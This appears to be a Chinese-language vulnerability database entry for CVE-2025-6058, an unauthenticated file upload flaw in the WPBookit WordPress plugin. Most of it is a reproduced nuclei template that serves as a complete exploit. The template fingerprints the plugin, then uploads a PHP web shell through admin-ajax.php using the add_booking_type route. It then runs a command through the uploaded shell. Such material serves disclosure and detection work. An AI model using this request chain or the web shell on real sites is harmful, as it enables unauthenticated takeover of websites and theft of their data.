漏洞信息
漏洞名称： WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
漏洞编号：
漏洞类型： 文件上传
漏洞等级： 严重
漏洞描述： WPBookit是一个WordPress插件，用于在线预订系统。它广泛应用于需要在线预约功能的网站，如酒店、餐厅和活动管理网站。由于其便捷的功能，许多企业和个人网站都采用了这一插件。该插件在1.0.4及更早版本中存在一个未经验证的文件上传漏洞，攻击者无需认证即可利用此漏洞上传任意文件。具体来说，image_upload_handle()函数通过add_booking_type路由触发，但未对上传的文件类型进行适当验证。这使得攻击者能够上传恶意文件，如PHP脚本，进而可能导致远程代码执行（RCE）。由于漏洞的利用无需认证，且可以自动化执行，因此对使用受影响版本插件的网站构成了严重的安全威胁。攻击者可以利用此漏洞完全控制网站，窃取敏感数据，或者将网站作为进一步攻击的跳板。
产品名称： WPBookit
影响版本： <= 1.0.4
来源： https://github.com/projectdiscovery/nuclei-templates/blob/2fbb5031495df62af9a87b713c27934903421680/http%2Fcves%2F2025%2FCVE-2025-6058.yaml
类型： projectdiscovery/nuclei-templates:github issues
POC详情
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
id: CVE-2025-6058
info:
name: WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
The image_upload_handle() function, triggered via the add_booking_type route, lacks proper file type validation. Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution (RCE)
tags: cve,cve2025,wordpress,intrusive,rce,htcontact,plugin,file-upload,unauth
variables:
payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
cmd: 'id'
month: '{{date_time("%Y/%M")}}'
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
internal: true
words:
- "WPBookit"
- type: status
internal: true
status:
- 200
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
wpb_ajax_post
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="route_name"
add_booking_type
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="title"
{{randstr}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="booking_type"
{{randstr}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cover_image_img"; filename="{{randstr}}.php"
Content-Type: application/octet-stream
{{payload}}
------WebKitFormBoundary7MA4YWxkTrZu0gW--
matchers:
- type: status
internal: true
status:
- 200
- raw:
- |
GET /wp-content/uploads/{{month}}/{{randstr}}.php?cmd={{cmd}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+)"
|